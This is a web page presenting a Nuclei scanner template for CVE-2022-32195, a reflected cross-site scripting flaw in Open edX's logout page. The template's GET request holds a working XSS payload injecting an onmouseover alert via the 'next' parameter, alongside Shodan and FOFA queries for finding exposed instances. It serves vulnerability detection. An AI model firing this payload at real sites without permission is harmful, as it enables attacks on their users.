Open edX <2022-06-06 - Cross-Site Scripting

ID: CVE-2022-32195

Severity: medium

Author: arafatansari

Tags: cve,cve2022,openedx,xss,edx

Description

Open edX before 2022-06-06 contains a reflected cross-site scripting vulnerability via the ‘next’ parameter in the logout URL.

YAML Source

id: CVE-2022-32195

info:
  name: Open edX <2022-06-06 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Open edX before 2022-06-06 contains a reflected cross-site scripting vulnerability via the 'next' parameter in the logout URL.
  impact: |
    Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Apply the latest security patches or updates provided by Open edX to fix the Cross-Site Scripting vulnerability.
  reference:
    - https://discuss.openedx.org/t/security-patch-for-logout-page-xss-vulnerability/7408
    - https://github.com/edx
    - https://nvd.nist.gov/vuln/detail/CVE-2022-32195
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-32195
    cwe-id: CWE-79
    epss-score: 0.00112
    epss-percentile: 0.44633
    cpe: cpe:2.3:a:edx:open_edx:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: edx
    product: open_edx
    shodan-query:
      - http.html:"Open edX"
      - http.html:"open edx"
    fofa-query: body="open edx"
    comment: Hover the cursor on the redirect link
  tags: cve,cve2022,openedx,xss,edx

http:
  - method: GET
    path:
      - '{{BaseURL}}/logout?next=%208%22onmouseover=%22alert(document.domain)'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<a href="+8"onmouseover="alert(document.domain)">click here to go to'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206066a39e2cde17372a0a4e1d6948e73230fd67dfab6672ede899f7cc54c080df022100ff30469547658c56fff5797f8c9a27f44ffc90d98ab44cef20b00c1347246204:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-32195.yaml"

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